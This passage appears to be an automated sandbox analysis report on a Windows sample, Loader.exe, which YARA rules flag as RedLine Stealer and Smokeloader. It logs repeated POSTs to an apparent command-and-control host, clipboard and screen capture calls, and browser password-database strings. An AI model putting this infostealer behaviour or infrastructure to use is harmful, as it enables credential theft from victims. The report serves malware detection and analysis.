Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 86Host: brendon-sharjen.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=TJ3BO7PG98WBPBS181User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12851Host: brendon-sharjen.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0J6SZ3SK6E1CYDHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15065Host: brendon-sharjen.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=2WF0Z69XM9IXDCX2GKPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20414Host: brendon-sharjen.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WUIPNSQC837AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1209Host: brendon-sharjen.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=8JZ5UZWZ7F5CATLUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1113Host: brendon-sharjen.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 121Host: brendon-sharjen.biz

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: brendon-sharjen.biz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: brendon-sharjen.biz

Source: Loader.exe, 00000000.00000003.1578276096.0000000003253000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Loader.exe, 00000000.00000003.1578276096.0000000003253000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Loader.exe, 00000000.00000003.1578276096.0000000003253000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Loader.exe, 00000000.00000003.1578276096.0000000003253000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Loader.exe, 00000000.00000003.1578276096.0000000003253000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Loader.exe, 00000000.00000003.1578276096.0000000003253000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Loader.exe, 00000000.00000003.1578276096.0000000003253000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Loader.exe, 00000000.00000003.1578276096.0000000003253000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Loader.exe, 00000000.00000003.1578276096.0000000003253000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Amcache.hve.12.dr	String found in binary or memory: http://upx.sf.net
Source: Loader.exe, 00000000.00000003.1578276096.0000000003253000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Loader.exe, 00000000.00000003.1578276096.0000000003253000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Loader.exe, 00000000.00000003.1480220242.0000000003275000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1480446700.000000000325E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Loader.exe, 00000000.00000003.1621030291.0000000000B05000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000000.00000002.2091712741.0000000003241000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1621378594.0000000000B07000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000000.00000002.2090653765.0000000000B26000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1716354436.0000000000B05000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1716225077.0000000003241000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1620822901.0000000003239000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000002.2090653765.0000000000AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://brendon-sharjen.biz/
Source: Loader.exe, 00000000.00000002.2091712741.0000000003241000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1716225077.0000000003241000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://brendon-sharjen.biz/(waS
Source: Loader.exe, 00000000.00000002.2091712741.0000000003241000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://brendon-sharjen.biz/X
Source: Loader.exe, 00000000.00000003.1716354436.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://brendon-sharjen.biz/api
Source: Loader.exe, 00000000.00000003.1579148624.0000000000B25000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1618747429.0000000000B22000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1577863000.0000000000B22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://brendon-sharjen.biz/apiMk
Source: Loader.exe, 00000000.00000002.2091712741.0000000003241000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://brendon-sharjen.biz/apiN
Source: Loader.exe, 00000000.00000002.2091712741.0000000003241000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1716225077.0000000003241000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://brendon-sharjen.biz/ob
Source: Loader.exe, 00000000.00000002.2091712741.0000000003241000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://brendon-sharjen.biz/pi
Source: Loader.exe, 00000000.00000003.1716225077.0000000003241000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://brendon-sharjen.biz/piA
Source: Loader.exe, 00000000.00000003.1618747429.0000000000B34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://brendon-sharjen.biz:443/api
Source: Loader.exe, 00000000.00000003.1480220242.0000000003275000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1480446700.000000000325E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Loader.exe, 00000000.00000003.1480220242.0000000003275000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1480446700.000000000325E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Loader.exe, 00000000.00000003.1480220242.0000000003275000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1480446700.000000000325E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Loader.exe, 00000000.00000003.1480220242.0000000003275000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1480446700.000000000325E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Loader.exe, 00000000.00000003.1480220242.0000000003275000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1480446700.000000000325E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Loader.exe, 00000000.00000003.1480220242.0000000003275000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1480446700.000000000325E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Loader.exe, 00000000.00000003.1579194431.0000000003558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Loader.exe, 00000000.00000003.1579194431.0000000003558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Loader.exe, 00000000.00000003.1480220242.0000000003275000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1480446700.000000000325E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Loader.exe, 00000000.00000003.1480220242.0000000003275000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1480446700.000000000325E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Loader.exe, 00000000.00000003.1579194431.0000000003558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: Loader.exe, 00000000.00000003.1579194431.0000000003558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: Loader.exe, 00000000.00000003.1579194431.0000000003558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: Loader.exe, 00000000.00000003.1579194431.0000000003558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Loader.exe, 00000000.00000003.1579194431.0000000003558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769

Source: unknown	HTTPS traffic detected: 172.67.130.33:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.130.33:443 -> 192.168.2.7:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.130.33:443 -> 192.168.2.7:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.130.33:443 -> 192.168.2.7:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.130.33:443 -> 192.168.2.7:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.130.33:443 -> 192.168.2.7:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.130.33:443 -> 192.168.2.7:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.130.33:443 -> 192.168.2.7:49791 version: TLS 1.2

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_0042D590 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

0_2_0042D590

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_0042D590 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

0_2_0042D590

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_0042D927 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

0_2_0042D927

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2090628680.0000000000A59000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00428819	0_2_00428819
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_004140A0	0_2_004140A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00420900	0_2_00420900
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_004329A0	0_2_004329A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00410217	0_2_00410217
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00408C30	0_2_00408C30
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0041ED80	0_2_0041ED80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00432670	0_2_00432670
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00427F1F	0_2_00427F1F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00407870	0_2_00407870
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00437870	0_2_00437870
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00420018	0_2_00420018
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00430820	0_2_00430820
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_004388E0	0_2_004388E0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_004148F5	0_2_004148F5
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_004168A0	0_2_004168A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00403940	0_2_00403940
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00425140	0_2_00425140
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00418950	0_2_00418950
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0041A160	0_2_0041A160
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00437900	0_2_00437900
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0040E923	0_2_0040E923
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_004061D0	0_2_004061D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_004379A0	0_2_004379A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0041B250	0_2_0041B250
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00406A00	0_2_00406A00
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0042FAD4	0_2_0042FAD4
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_004042F0	0_2_004042F0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00409A80	0_2_00409A80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00438B40	0_2_00438B40
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00427320	0_2_00427320
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00429328	0_2_00429328
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0041BBF0	0_2_0041BBF0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00427BF6	0_2_00427BF6
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00426B80	0_2_00426B80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00402B90	0_2_00402B90
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00413C40	0_2_00413C40
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00422C40	0_2_00422C40
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00427C64	0_2_00427C64
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00421C10	0_2_00421C10
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0040F41E	0_2_0040F41E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00404C20	0_2_00404C20
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_004234C0	0_2_004234C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00417CE0	0_2_00417CE0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_004234E0	0_2_004234E0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00425CF2	0_2_00425CF2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00405C80	0_2_00405C80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0042B490	0_2_0042B490
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00431C90	0_2_00431C90
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00420491	0_2_00420491
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00430CA3	0_2_00430CA3
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00410CB9	0_2_00410CB9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00415550	0_2_00415550
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00406570	0_2_00406570
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0040AD70	0_2_0040AD70
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00416570	0_2_00416570
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0041B530	0_2_0041B530
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00431537	0_2_00431537
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00415D37	0_2_00415D37
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00411580	0_2_00411580
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00424D90	0_2_00424D90
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_004085B0	0_2_004085B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00428E6D	0_2_00428E6D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0041BE70	0_2_0041BE70
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00416E23	0_2_00416E23
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00435630	0_2_00435630
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_004096C0	0_2_004096C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00431EF0	0_2_00431EF0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_004376B0	0_2_004376B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00402F40	0_2_00402F40
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00428F74	0_2_00428F74
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00423F2B	0_2_00423F2B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00433728	0_2_00433728
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0040E730	0_2_0040E730
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00428FC3	0_2_00428FC3
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_004377C0	0_2_004377C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00427F18	0_2_00427F18
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0041CF80	0_2_0041CF80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009D90D4	0_2_009D90D4
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009CC0D7	0_2_009CC0D7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009D8186	0_2_009D8186
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009B31A7	0_2_009B31A7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009D91DB	0_2_009D91DB
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009CD1E7	0_2_009CD1E7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009E2157	0_2_009E2157
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009D922A	0_2_009D922A
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009D817F	0_2_009D817F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009C6380	0_2_009C6380
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009CB4B7	0_2_009CB4B7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009B6437	0_2_009B6437
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009C047E	0_2_009C047E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009D958F	0_2_009D958F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009D7587	0_2_009D7587
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009B4557	0_2_009B4557
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009BF685	0_2_009BF685
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009DB6F7	0_2_009DB6F7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009E179E	0_2_009E179E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009CB797	0_2_009CB797
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009C67D7	0_2_009C67D7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009B67D7	0_2_009B67D7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009C17E7	0_2_009C17E7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009CA744	0_2_009CA744
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009E5897	0_2_009E5897
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009E28D7	0_2_009E28D7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009B8817	0_2_009B8817
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009BE997	0_2_009BE997
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009B9927	0_2_009B9927
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009E0A87	0_2_009E0A87
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009D8A80	0_2_009D8A80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009B5AD3	0_2_009B5AD3
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009B7AD7	0_2_009B7AD7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009C7A18	0_2_009C7A18
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009BEB8A	0_2_009BEB8A
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009C8BB7	0_2_009C8BB7

Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 009B8627 appears 53 times
Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 00413C30 appears 63 times
Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 009C3E97 appears 39 times
Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 004083C0 appears 44 times

Source: C:\Users\user\Desktop\Loader.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3960 -s 1672

Source: Loader.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2090628680.0000000000A59000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: Loader.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/5@1/1

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_004329A0 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

0_2_004329A0

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3960

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\a11a09e6-3a62-45d4-8b9a-ddd2f32b516e

Jump to behavior

Source: Loader.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Loader.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Loader.exe, 00000000.00000003.1533317986.0000000003342000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1480923442.000000000324B000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000000.00000003.1533110257.000000000324B000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Loader.exe

ReversingLabs: Detection: 63%

Source: C:\Users\user\Desktop\Loader.exe

File read: C:\Users\user\Desktop\Loader.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Loader.exe "C:\Users\user\Desktop\Loader.exe"
Source: C:\Users\user\Desktop\Loader.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3960 -s 1672

Source: C:\Users\user\Desktop\Loader.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: rasadhlp.dll	Jump to behavior
